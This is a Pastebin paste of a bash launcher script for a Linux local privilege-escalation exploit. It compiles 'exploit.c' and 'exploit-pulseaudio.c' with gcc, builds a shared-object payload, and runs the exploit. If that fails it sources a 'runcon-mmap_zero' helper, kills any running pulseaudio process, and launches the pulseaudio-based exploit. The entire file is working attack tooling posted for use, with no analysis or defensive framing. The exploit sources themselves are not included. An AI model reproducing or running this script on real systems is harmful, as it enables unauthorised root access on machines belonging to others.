Guest User

Untitled

a guest
Jul 18th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. #!/usr/bin/bash
  2.  
  3. EXPLOIT=./exploit
  4. EXPLOIT_PULSEAUDIO=./exploit-pulseaudio
  5. GCC=/usr/bin/gcc
  6.  
  7. if [ -x $GCC ]; then
  8. if [ -x $EXPLOIT ]; then
  9. rm -f $EXPLOIT
  10. fi
  11.  
  12. if [ -x $EXPLOIT_PULSEAUDIO ]; then
  13. rm -f $EXPLOIT_PULSEAUDIO
  14. fi
  15.  
  16. if [ -x $EXPLOIT.so ]; then
  17. rm -f $EXPLOIT.so
  18. fi
  19.  
  20. MACHINE=$(uname -m)
  21.  
  22. if [ "$MACHINE" = "x86_64" -o "$MACHINE" = "ppc64" ]; then
  23. $GCC -Wall -m64 -o $EXPLOIT $EXPLOIT.c
  24. $GCC -Wall -m64 -o $EXPLOIT_PULSEAUDIO $EXPLOIT_PULSEAUDIO.c
  25. $GCC -Wall -fPIC -m64 -shared -o $EXPLOIT.so $EXPLOIT.c
  26. else
  27. $GCC -Wall -o $EXPLOIT $EXPLOIT.c
  28. $GCC -Wall -o $EXPLOIT_PULSEAUDIO $EXPLOIT_PULSEAUDIO.c
  29. $GCC -Wall -fPIC -shared -o $EXPLOIT.so $EXPLOIT.c
  30. fi
  31.  
  32. if [ -x $EXPLOIT ]; then
  33. $EXPLOIT
  34.  
  35. if [ $? -eq 0 ]; then
  36. exit
  37. fi
  38.  
  39. source ./runcon-mmap_zero
  40. fi
  41.  
  42. if [ -x $EXPLOIT_PULSEAUDIO ]; then
  43. if [ -e $EXPLOIT.so ]; then
  44. PULSEAUDIO=/usr/bin/pulseaudio
  45.  
  46. if [ -x $PULSEAUDIO ]; then
  47. $PULSEAUDIO -k &> /dev/null
  48. $PULSEAUDIO --check &> /dev/null
  49.  
  50. if [ $? -eq 0 ]; then
  51. kill -9 $(pidof pulseaudio)
  52. fi
  53.  
  54. $EXPLOIT_PULSEAUDIO $PWD/$EXPLOIT
  55. fi
  56. fi
  57. fi
  58. fi
Add Comment
Please, Sign In to add comment